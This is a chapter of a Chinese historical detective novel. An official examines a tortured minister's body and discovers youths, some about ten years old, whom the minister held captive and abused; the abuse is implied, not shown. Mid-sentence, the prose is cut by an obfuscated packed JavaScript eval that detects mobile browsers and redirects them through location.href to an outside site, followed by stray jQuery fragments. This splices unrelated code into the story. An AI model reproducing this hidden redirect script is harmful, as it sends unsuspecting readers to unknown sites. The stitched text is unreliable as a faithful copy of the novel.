退朝后，谢砚一路收到不少道贺声，明眼人都看得出来，刑部尚书张角的年纪，再干不了几年，若是谢砚能够成功破获此案，下一任刑部尚书非他莫属，年纪轻轻现已官至正三品，仕途前程可称一片大好。


    更重要的是，他还未结亲，若能促成这门亲事，等于在官场上又多助力，连着几天，谢府门上来送请帖的人，几乎将门槛都踩平了。


    只不过谢砚一概不见，他急着先去勘察案发现场，卫所的人已将宅子严加封锁，任何人不得随意出入，各个门口有带刀班直。


    刑部郎中贺良授命领他前往发现方德安尸身的房中，尸体已经被解下，横放于草席上，天气不太热，还没有发胀的迹象，隐有尸臭飘散。


    屋里邵飞等着，因与谢砚的关系好，他被卫所调来协查此案，他沉声道：“这便是家丁发现尸体的地方，绳子绕梁而过，将整个人吊起。”


    贺亮抬头看了眼房梁，屋子面积不大，但那梁高足有两丈，寻常人脚下不踩着东西徒手扔绳根本丢不过去，他眸中多了分凝重，看向谢砚：“大人......”


    谢砚神色了然，蹲下掀起帘子，尸体全身上下布满鞭伤，面目全非，每道伤口都带飞成条血肉，伤口血液早已凝固，透过撕豁的伤口，嫩肉凸出，犹如翻裂开的无数嘴唇，青白的双眼圆瞪还透着濒死前的恐惧，极为凄惨。


    仅是看了一眼，贺良便胃里翻卷，转身冲出屋外连连作呕。


    邵飞在卫所任职，没少见过死人，但如此惨烈的还是头一回见，浓眉紧蹙看向谢砚：“如何？可发现了什么？”


    谢砚眉眼深沉，起身用帕子擦手：“大人受折磨时还活着。”


    “活着？”邵飞满脸诧异，此话要不是从谢砚口中说出来，他绝对不会相信：“活着为什么不呼救，我已令人严审过家丁，发现尸体的几人都认定，案发时并未听到过声音，进门时人已在梁上吊着，除了衣衫破损，嘴里并未塞堵东西，难不成堵嘴的东西被人带走了？”


    “他若被堵嘴，死后口中会留下痕迹，我方才看了并没有。”


    谢砚走到案前，茶具分散，还保持用过的迹象：“这些有人动过吗？”


    “没有。”邵飞道：“家丁发现尸体吓得够呛，哪还顾得上这些，不过仵作来验，两个茶杯中一个检出迷药痕迹，另一个没有，可......”


    “怎么？”谢砚侧头问他。


    邵飞眉头锁的越发紧：“可尸体中并未检测出迷药成分。”


    这就意味着，喝下迷药的该是屋中另一个人，若另一人喝下迷药，又怎么可能有力气杀人。


    这案子扑朔迷离，条条线索摆在眼前，却毫无逻辑，此刻谢砚也觉棘手，他问：“最后与方大人喝茶的是谁？”


    “家丁说是名茶师，从玉仙楼请来的，我已经派人去查了，暂时未发现其下落。”


    邵飞握了握拳，一副欲言又止的样子，难言道：“还有些东西，你得看看。”


    语罢，他迈步走到床前，将脚踏掀起，里面赫然摆放着各式各样利器，刑具，谢砚疑惑：“这是什么？”


    邵飞没有说，转身出门示意他跟上，谢砚紧随其后，二人来到一处院中，只听房里不时传出哼笑声，痛哭声，行至正房推门而入，里面竟关着形形色色的俊美少年，他们有的目光呆滞，有的哭笑疯癫，少数尚存理智，见有人来，缓缓站起，眼中还带着恐惧。


    “这些人是？”谢砚越发不解，莫非方德安在私宅中圈养戏子优伶？


    邵飞不好解释，硬着头皮走上前，对着其中一个男子道：“卢月，这是刑部尚书谢大人，给他看看你的伤。”


    那名被叫做卢月的少年眼带瑟缩，缓缓低下头，解开外袍，露出上半身，只见光洁白皙的肌肤上，布满纵横交错的伤疤，立时让谢砚瞳孔微震，见他要将裤子脱下，谢砚抢先阻止，轻声道：“不必，我明白了。”


    这屋中共有十五六人，最大不过二十多岁，最小的也就十岁出头，难怪邵飞会如此难以启齿。


    “大人，那人真的死了？”卢月鼓起勇气问他。


    谢砚没有说话，默然点头，屋里氛围陡然一窒，卢月狂笑起来，极尽凄恻。


    “大人是来查凶手的吗？”


    谢砚蹙眉看着他，邵飞急切道：“莫非你知道些什么？”


    卢月满目凶色寒光：“他那种人，死不足惜，更是死有余辜，手上不知沾了多少枉死人的血，你们不用查了！是我杀了他！”


    邵飞愕然。


    只见其他人也跟着陆续站起：“人是我杀的！”


    “人是我杀的，抓我吧。”


    “是我，是我杀的。”


    从屋里走出来，阳光重新照在身上，虽有暖意却挡不住彻骨严寒。


    谢砚只觉得胸口好似被大锤猛击，聚起的浊气如鲠在喉，自他幼时受教，至入朝为官，一直铭记忠正以事君，信法以理下的道理①。


    方德安是户部尚书，正二品大员，手中管控国库财政，说是凌于万人之上也不为过，可他生而为官，不为造福百姓，匡扶社稷，行的却是禽兽事，甚至为防事情败露，专门购买私宅行此龌龊事。


    想起昔日同朝为官，只觉他为人亲善，处事周到，而今才知那张伪善的面孔都是装出来的，犹如妖兽披人皮，毫无人性可言。


    邵飞几次看他，一时沉默无言，他在卫所任职，审查犯人时已见惯格式各样阴暗背德之事，可当得知此事，还是极受震撼，尤其方德安这样的身份，说他死不足惜，并不为过。


    “伯衡，这案子还查吗？”四下无人，邵飞也无顾忌，问出心里话。


    谢砚叹了口气，摇头苦笑：“不查难道让他们这些无辜人去顶罪吗？案子既交到我手里，不管方德安做过什么，我都要尽为官之职，查个水落石出。”


    “好，我们该从何处下手？”邵飞见他如此说，便跟着下定决心。


    “叮嘱下去尸身暂存，不要下葬，还有疑点需要查清，首要查清那名失踪茶师的来历。”


    邵飞点头应下。


    离开方德安私宅时已经暮色黄昏，夕阳半掩于山巅后，马车顺着小路绝尘而去，将那所被罪恶笼罩的宅子远远甩在身后。


    在外奔走一日，等谢砚回府时夜已深。


    此案事关重大，谢太师和谢焕兴为避嫌，没有多加询问，只是叮嘱他认真办差。倒是其母柳氏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225870|179954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心疼儿子的疲惫，将备好的饭食给他送进屋里，又反复叮嘱他早些休息，才一步三回头的离开。谢砚没什么胃口，用了两口便让人撤了下去。


    江淮端来铜盆侍候他净手：“今日门上又送来请帖，太常寺卿、光禄寺大夫、京府丞、付国公都来贺公子升迁之喜，还请您抽空过府赴宴......”


    “案子没查清，哪来的时间，替我回了便是。”谢砚用干帕子擦过手，重新在书案落座梳理案情，刚把笔拿起来，突然顿住：“你刚才说付国公也送了请帖？”


    江淮正端着盆出去倒水，又转过身：“是，国公帖子是早上送来的，说是请公子择空去小坐。”


    “哦。”谢砚缓慢点点头。


    “公子还要回了吗？”江淮试探着问。


    谢砚看了他一眼，不知为何有些不自在，咳了咳：“先不用，等我得空再说吧。”


    *


    付国公此次回来是为跟户部协商交办粮草事宜。


    为不影响北元和谈，他虽带着大部队先回来，但仍留左、右哨辅助边军戍边，提防敌军偷袭，上年的粮草将要用尽，亟需户部拨放。


    可眼下户部出了这么大事，一时间无人对接，他只好亲自回来督办。


    今日不是好天，云层积压在头顶，没有一丝风，空气好似都凝固了似的。


    中午青衣跟付骁平用过饭，门上却来了个不速之客，京兆尹魏从虔率手下求见，平时若来做客定会递上拜帖，可这回带了府衙里的人来，可见是为了别的事。


    付骁平命吴管事将人引进正厅落座奉茶。


    上茶的侍从刚退下，魏从虔便开门见山：“敢问国公，小姐可在府上？”


    青衣并没走，就在厅后坐着，见问起她，耳朵立马竖起来，与她这兴冲冲的样子不同，颂琴做了亏心事，心虚不已，小声道：“小姐......”


    青衣在唇上竖指，示意她别说话。


    只听外面付国公不紧不慢：“敢问小女是犯了什么事，要府尹大人亲自上门拿人？”


    魏从虔赶紧道：“国公言重了，下官就是想问小姐几句话，并没拿人的意思。”


    付骁平出了名的护犊子，哪容他说问就问，毫不客气：“府尹登门不说清缘由，张嘴就要召小女来问话，你是不是走错门了？这是国公府，不是京兆府。”


    几句话说的魏从虔冷汗直冒，此番前来他就做好挨碰壁的准备，事已至此，不好隐瞒，斟酌再三道：“晋阳侯世子遭歹人殴打轮......侮辱，现在人受了刺激，神志不清，据晋阳侯府的车夫说，当夜世子下车是为了去见付小姐，下官想问，可有此事？”


    嗯？啊？付骁平惊得眼睛都瞪大了，倾身询问：“你所说的侮辱，是我理解的那个意思吗？”


    魏从虔端起茶杯掩面，尴尬地点头。


    嗨呀！付骁平猛一拍椅子扶手，怒而大骂：“是何人如此大胆，做出这等丧尽天良之事！世子前遭刚被人谤讥于市，丢了官职，而今再度失身，如此境地还真是难上加难（男），左右为（男），进退两难（男），实是令人痛惜！”


    魏从虔一口茶喷出去：国公所说的男，是他理解的那个难吗？